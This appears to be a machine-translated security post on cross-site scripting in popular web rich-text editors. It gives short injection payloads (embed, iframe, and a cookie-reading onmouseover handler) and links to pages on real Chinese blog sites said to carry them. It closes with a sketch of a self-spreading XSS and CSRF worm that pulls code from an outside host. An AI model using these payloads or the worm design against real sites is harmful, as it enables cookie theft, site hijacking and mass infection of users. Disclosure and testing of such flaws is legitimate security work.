Security Testing mainstream web Editor xss cross-site vulnerabilities in China

Test code:

<Embed src = "http://tmxk.org"/>

<A href = "http: // www.2cto.com"> http://tmxk.org </a>

<Span

Onmouseover = "javascript: alert (document. cookie)"> alert (document. cook

Ie) </span>

<Iframe src = "http://tmxk.org"> </iframe>

<Form>

<Input type = "text"/>

</Form>

 

Test environment: Based on the official demo and browser (embed is an html5 tag, which is not supported by earlier ie versions)

Test method: allows the insertion of the embed label. When the allowScriptAccess attribute is not set, the default value is

SameDomain, which forms xss. The five points that can be used in tests are as follows:

① CSRF: Use the visitor's permissions to perform operations on the specified page;

② SEO, that is, the dark chain operation;

③ Domain Name Hijacking: url redirection is achieved by inserting pages that cannot be inserted by frames;

④ DDOS attacks against specified URLs using high traffic across X sites;

⑤ Worms, combined with some site-specific code, form worms.

 

Test:

1. FCKeditor

2. NicEdit

 

3. TinyMCE

4. jwysiwyg

5. Yahoo! UILibrary: RichTextEditor

6. Xinha

8. FreeRichTextEditor

10. TTWHTMLEditor

11. FreeTextBox

12. WYMeditor

13. BlueShoesWysiwygEditor

14. markItUp

15. SPAWEditor

 

Test example:

Sina Blog xss + csrf

Http://blog.sina.com.cn/u/2778335652

People's Network (xss)

Http://blog.people.com.cn/open/articleFine.do? ArticleId = 1336990275712

Xss for cntv blogs and forums

Http://blog.cntv.cn/19047516-3863143.html

CERNET blog

Http://exe.blog.edu.cn/2012/751413.html

Open source China (for example)

DDOS: http://my.oschina.net/hucexe/blog/60426

CSRF: http://my.oschina.net/hucexe/blog/60430

 

Worm idea: Open http://tmxk.org/z/test/r.php? N = a random number between 1 and 222, which is used for the specified page number.

The Code shared by the user is crawled to form an array http://tmxk.org/z/test/ OS .jsfor code adjustment. Login

The permission of the land user replies to the random url. The xss of the editor is used to insert the test code again.

When the infected webpage is infected, csrf re-inserts this code into a random webpage, which is so explosively transmitted.